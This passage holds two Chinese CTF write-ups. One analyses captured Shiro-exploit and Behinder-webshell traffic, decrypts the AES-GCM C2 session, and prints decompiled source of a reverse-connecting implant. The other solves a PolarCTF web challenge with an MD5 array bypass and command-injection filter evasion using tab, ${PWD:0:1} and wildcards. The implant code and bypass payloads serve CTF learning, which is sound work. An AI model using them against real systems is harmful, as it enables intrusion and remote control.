\x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:ff*16 ctr: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd935\xff\xae\xc8\xc4e\x14\x11\r<\xae)\xb3\xdf' 1: len36: b'O\x10\x04\xa7\x92\xd8O\x93\xc4\xeb\xa6\x89\x9a\x05\xd9\x0cB\x90\xdbE7\r\xdb\x0c\xd8v\x9bc\xde\xe9\xcer\xde\xf6ht' 2: len30: b'Qp\xf8%\xfd\x94U\r*\xdf }\xab\xf6\xf9\x8a\xd5\xa5\xc0N;\x97\x16\x01\xee\xd7S\x0fw\xfb' 3: len31: b'\xf0\xab\x12\xacM_b\xd9m\n\x89\xb6\x9c\xfa\x96y\xc1\xb7\xccs\xc4\x95\xc8\x8d:{l4@s\x17' 4: len48: b'O\xc3\x83V\xd1\xf4\xef\x7f\xe8\xd0M\xa7=\r\xfb\xc2\xa9TO\xc1VKi\xb0\xfdT\xad\xf8\xdd\xd6K\xc9O\xech\xec\xe1\xf9R\xac\xcd+\xcb\xb3\x82W\x0eu' 5: len43: b'\xa6A\x8e|\x13Z\xb4\xc4\xc7\x8c\x8a\xa2\xae\xe7\x18\xfeoS\x89t|b\xc2;}\x97lU\xd9[_[\x04\x8c\xcd\x9f\x8c\xa4\xfa\xfe\xfd%\x1e' 6: len110: b'JI\xb2\xb6\xbe\xdd1\xdem\xa8\x19\xfe\xa9\xb6\x11\xb10&\xa0\x18\x7f\xa6L6L\x89\xc7\xfd\x9d 0\xf0v\x8b\xdc[\xdc+\xac\x98|\xc9\x9bcj\xa4\xc5_C\x05\x8c\x97\x85\xd6h\xf4\xae\xcayQ\x92\xe2\xd6S\xedg\x99=\xeen\xff\xcd\xce\xaa\x18\x06\xefc\xf5wALj\x8a\xcd\x9f\xf2L\xfd\xeew\x82\xbb\x8e\xf5\x1f\x91#\xf7qb.\x92\xf8\xc7\x97\xbeF\xabr' 7: len105: b'm<n2_\xb02\xa8a\x87\x8b\x8b\xf8b<\xdcH\xed4%\xee\xc4\xa4]5\xad,\xb7P\x1d\x87-QF6*\x0c\xce[`n\xa6fQ\xe9\x0b\t\xb9\xd3\xa8\xf2\x81ps\xc3\xda\x11\x0e\n\xf3\x94\x9f/\n`\x1d\xech\t\xfa$B\xbd\\\xc1\xc0\xe0\x87\x0c\xd0\xb2\x12\xc84$\x94B\xed\x84\xa1\xdd}obr~\xe8c\x95\x9b3a\xe9\xbb\xae' 8: len36: b'\x9a$\x8d\xb4N^\x17\xd4\xe6\xfe:\x16\xb9\xf8G\x07\xe9\\\xa9vd\xf0\x03\x90\x0eh\xf2\xea\xd5\xc7\x1c>\xd2\x1b\xb3W' 9: len31: b'Fq\x05e\x88\x00\x9dZ\xad\x8a\x06\x85\xa2\xe7y\x04\xba\xbb\x05\\V&\x985\x82\\T\xad\x05\x0c>' cfb: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd9\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:key[:16]s ctr: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x86\xdf\xd4\xb0\x90=\xfe\xd3\xd58\x13)\xc5\x0e,' 1: len36: b'B\x1c"\xb0\xfd\xd8-\xe6\x99\xc9\xf76(\x93E\xa8\x06\xd2\xefg(4\xa0\xb8\xf2\xd6\x97\x08C\xd9e\x01*\x8au\xf6' 2: len30: b"\xe3\xcb\x99\x98'\x7f \xfa\x80\x14Y>}p\x00\xca\xd5C\xf0\xb7wuw\xec\xab\xb5\x9c\xfd\n<" 3: len31: b'$\xe5\xc9.\xbb\xceC\xacF\t\xde7\\\x96\xd1\xc7\xdf#\x87\xfd\xe31\x81<\xa4\x8d\x9f\xbd\x070\xbf' 4: len48: b'\xd7\xf2x"\x87M{\xf5y\x8d7\xed\xfb\x8c[UC@?\xd2\x08\xb0\x0b5E\x05/\xe8\xd80s\xfa\xb0N\xd4\xc6\x14\xc4\xb4^y\x0c\xa3-\x1e\x00I\x03' 5: len43: b"\xbb\x8a\xdf'f\xe0-\x98\x96%-\xdb>W\xaaS=R\xc3\xa6W\xf6{\x138\x86\xecGzO\xad(\xfdn#i\x9a\x9b\xb4\xb9%+5" 6: len110: b'0\xf8D\xf0%\x9eb\x128\xd5mB\xe3z\xfe\xaf\xaa\xbe!\x1c\xbf XUV|>\x87\x0bBCu\x12O\x98^,+\xeb\xffl\x80\x88\x8f\xe8\xfe\xa8\xb9f\xa1\x93\x94\x13\xfe\xc7\xa98\xa8\x8a\x10\xae\xa1\xe7bC\xa6J\x99\xd7JR\x85\xa5\n_\xb0\xbf\xa6D\xc8S\x00ae@"\x01\xb1\x8a\x16\xd4WY\x16,7\xa4_\xa0\xe3\xaei\x02H\x02\xe9u\xc1\x86.' 7: len105: b"\xe8\xe4\xe5'5Z\xbd\xdfo\x89\xcf\x8c\xe2\xda\x10\x86Y\xfd\xa2\x92\x18r\xea\xa1\x15\x9an\x13\xec\x89F\x93\xbb\x9a]d>\x02\x85\xccj\xf8\x97\xc9\x18\x00\xf2\x06\x1bB.\x96\xc0\xf6\xdf~\xee\x17\x8e\xcaiH\xdb\xf8\x98\xb9}\xd5x\x93M\xa1\x00\xb2f\xfc\xc7X'I\xd1$\x03A\xd2Z\xaah\xc5Q>\x05\xe1*\xeehS\xe4\xe0\xe7`\xf0l\xa6\x01" 8: len36: b"8\x01A\xe1\xea<O\x81{2\xdaw\xa6\xc6\x83uP'\x87F\xe0\x7f\xdd\xbd\x00\xdd{\xc1#\x98Ay\xce\xbe\xebb" 9: len31: b'\xb0\x94cs\xdfd\xbb\xc0E\xa9\x88F(\t}\x82\x92\xf7\x90g\xe82\x85\xf7r\xa3M\x0f\xc6\xa1.' cfb: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' {/collapse-item} {/collapse} 最后尝试到GCM发现可能性很大，首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符，如果对应前面发现的测试时惯用的指令pwd和ls，能够对应上剩下28个固定字符，符合GCM的特征。尝试使用GCM解密： import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 得到： 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' 将3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi丢进CyberChef，Base58+Base64解密后得到Flag：dart{d9850b27-85cb-4777-85e0-df0b78fdb722} 后续在尝试完整提取并逆向其中分片上传的二进制，因为发现payload本身有个blockIndex，用于索引当前是第几部分。 让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本： import os import re import base64 import subprocess import concurrent.futures from Crypto.Cipher import AES # --- 配置区 --- KEY = b"1f2c8075acd3d118" DIR = "export" # Wireshark 导出的 HTTP 对象所在文件夹 OUTPUT = "real_out.elf" # 最终合并生成的文件 CFR_JAR_PATH = "cfr.jar" # 替换为你下载的 cfr.jar 的实际文件名 MAX_WORKERS = 16 # 线程数：你可以根据 CPU 核心数调大，比如 16、32 def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" def decompile_and_extract(class_file_path): try: result = subprocess.run( ['java', '-jar', CFR_JAR_PATH, class_file_path], capture_output=True, text=True, check=True ) source_code = result.stdout index_pattern = r'blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*"(\d+)"' content_pattern = r'content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*"([A-Za-z0-9+/=]+)"' index_match = re.search(index_pattern, source_code) content_match = re.search(content_pattern, source_code) if index_match and content_match: return int(index_match.group(1)), content_match.group(1) except Exception as e: pass return None, None def process_single_file(fname): """ 单个线程执行的任务：读取、解密、写临时文件、反编译、提取、清理临时文件 """ path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() java_class_bytes = decrypt_to_class(body) if java_class_bytes.startswith(b"\xca\xfe\xba\xbe"): # 确保每个线程的临时文件名唯一，防止冲突 temp_class = f"temp_{fname}.class" with open(temp_class, "wb") as f: f.write(java_class_bytes) block_idx, content_b64 = decompile_and_extract(temp_class) # 清理临时文件 if os.path.exists(temp_class): os.remove(temp_class) if block_idx is not None and content_b64 is not None: try: actual_chunk = base64.b64decode(content_b64) return block_idx, actual_chunk, fname except Exception as e: return None, f"解码异常: {e}", fname return None, "无效的 Class 或解密失败", fname def main(): files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))] print(f"[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...") chunks_dict = {} # 启动线程池 with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: # 提交所有任务 future_to_file = {executor.submit(process_single_file, fname): fname for fname in files} # as_completed 会在某个线程完成时立刻 yield，可以实时看到进度 for future in concurrent.futures.as_completed(future_to_file): block_idx, result_data, fname = future.result() if block_idx is not None: chunks_dict[block_idx] = result_data print(f"[+] {fname} -> 提取成功: 块索引 [{block_idx}]") elif "无效" not in result_data: # 过滤掉非目标流量的报错干扰，只打印真的出错了的 print(f"[-] {fname} -> 提取失败: {result_data}") if not chunks_dict: print("\n[-] 未提取到任何有效数据块。") return print(f"\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...") sorted_indices = sorted(chunks_dict.keys()) with open(OUTPUT, "wb") as f: for idx in sorted_indices: print(f"[*] 写入块索引 [{idx}]") f.write(chunks_dict[idx]) print(f"[!] 完美重组完成！生成文件：{OUTPUT}") if __name__ == "__main__": main() 发现是一个Pyinstaller打包的elf。解压，逆向其中的inspect.pyc，得到： # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() 也证明了猜想，确实是GCM （不过这一看就是ai出的罢） 梳理 完整的链条应该是这样的： sequenceDiagram participant Attacker as 攻击者 (Attacker / C2 Server) participant WebServer as Web 应用层 (Shiro / Behinder WebShell) participant OS as 底层系统 (Linux OS) rect rgb(240, 248, 255) note right of Attacker: 阶段一：Shiro 漏洞利用与 RCE Attacker->>WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 跳转 (爆破成功获取 AES Key) Attacker->>WebServer: 发送 RCE Payload (Authorization头传递命令) WebServer->>OS: 派生进程执行命令 (whoami, ls -la 等) OS-->>WebServer: 返回标准输出结果 (root 等) WebServer-->>Attacker: 返回 Base64 加密的命令结果 end rect rgb(255, 240, 245) note right of Attacker: 阶段二：注入内存马与后渗透探测 Attacker->>WebServer: POST 请求注入 Behinder(冰蝎) 内存马 WebServer-->>Attacker: 返回注入成功标识 (->|Success|<-) Attacker->>WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class WebServer->>OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录 OS-->>WebServer: 返回底层系统状态和文件列表 WebServer-->>Attacker: 返回 AES 加密的探测结果 end rect rgb(240, 255, 240) note right of Attacker: 阶段三：分片上传与执行持久化木马 Attacker->>WebServer: 多次发包分片上传二进制 ELF 木马 WebServer->>OS: 将 Payload 块追加写入 /var/tmp/out Attacker->>WebServer: 发送 Hash 校验请求 WebServer->>OS: 计算落地文件 /var/tmp/out 的 MD5 Hash OS-->>WebServer: 校验通过 WebServer-->>Attacker: 返回 Hash 值确认文件完整性 Attacker->>WebServer: 发送命令 chmod +x out 及 ./out --aes-key ... WebServer->>OS: 赋予执行权限并带密钥参数运行木马程序 end rect rgb(255, 253, 230) note right of Attacker: 阶段四：TCP 反连与深层控制 OS->>Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788) Attacker->>OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo) OS-->>Attacker: 返回加密的执行结果 (最终输出 Flag) end 阶段一：Shiro 漏洞利用与 RCE 验证 攻击者通过发送包含 rememberMe Cookie 的 GET 请求，成功爆破出 Apache Shiro 的 AES 密钥。 随后，攻击者利用 Authorization 头传递加密命令，Web 服务器执行了 whoami 等命令，并返回了 Base64 加密的执行结果 root。 阶段二：植入内存 WebShell 与初步控制 攻击者向 / 路径发送携带 Java 类的 POST 请求，成功注入冰蝎（Behinder）内存马，并将 C2 通信信道建立在 /favicondemo.ico 路径上。 攻击者通过该信道下发经过 AES 加密的 Java Class，利用 Web 服务层读取了底层系统的环境变量、IP 信息（172.18.0.2），并执行了基础系统命令（如 ps -ef）。 阶段三：恶意木马上传与落地执行 攻击者通过 WebShell，利用 blockIndex 和 blockSize 参数将一个 ELF 二进制文件分片追加写入到系统的 /var/tmp/out 路径下，并进行了 Hash 校验（a0275c1593af1adb）。 攻击者下发 Shell 命令 chmod +x out 赋予文件执行权限，并通过 ./out --aes-key ... 在底层系统运行了该木马。 阶段四：TCP 反连获取 Flag 底层的 Python 恶意木马运行后，直接绕过 Web 层面，主动向攻击者的 C2 服务器（10.1.243.155:7788）发起 TCP 连接。 双方切换至 AES-GCM 算法进行通信，攻击者下发 pwd、ls、echo Congratulations 等远控指令，并在最终的回包中获取到了 Flag。 总的来说还是挺有意思（？

PolarCTF 2025冬季赛 Web Polarflag WriteUp 打开网页，可发现是一个登录页： 尝试通过dirsearch扫描，得到： Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed 发现/flag.txt，访问： <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> 尝试运行，发现语法错误，修正： ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; 运行，得到：the_username_is_polar，提示我们用户名是polar。同时，题目附件提供了一个字典wordlist.txt，尝试使用BurpSuite爆破： 爆破发现当密码为6666的时候会跳转到/polar.php： 访问/polar.php，得到： <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // 初始化会话变量 if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } //想赢的人脸上是没有笑容的 if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 不错不错 \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 你不行啊\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "回去吧，这块不要了\n"; } } else { show_source(__FILE__); echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>'; } ?> 首先进行MD5绕过，传入a[]=1&b[]=2即可： POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 发现服务端返回了一个： Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ 并且提示MD5 不错不错，成功绕过。因为我用的BurpSuite发请求，接下来我打算用普通浏览器做，因此将这个cookie写入浏览器。接着直接访问/polar.php?polar=即可传入指令，不需要再绕MD5。 观察正则匹配规则，发现阻止了很多内容，包括一系列符号。首先尝试通过export导出环境变量，发现一个Flag：flag{7b93dd56-4f33-4738-b916-464a984093b3}，提交上去发现不对，问客服说这个Flag不对（望天） 因为过滤了空格，因此可使用$IFS$1或者%09（Tab）绕过。同时，因为禁用了/，因此使用${PWD:0:1}（截取PWD环境变量的第一个字符，就是/）代替。构造请求： http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} 得到： polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var 发现Flag文件：/polarflag，因为过滤了fl，不能直接调用文件名，因此使用?????????来通配9个字符的文件。禁用了cat，tail，more，less等能打印内容的指令，但是仍然可以使用sort之类的指令，也能打印出来： http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? 得到Flag：flag{polarctf1314inwebgame}

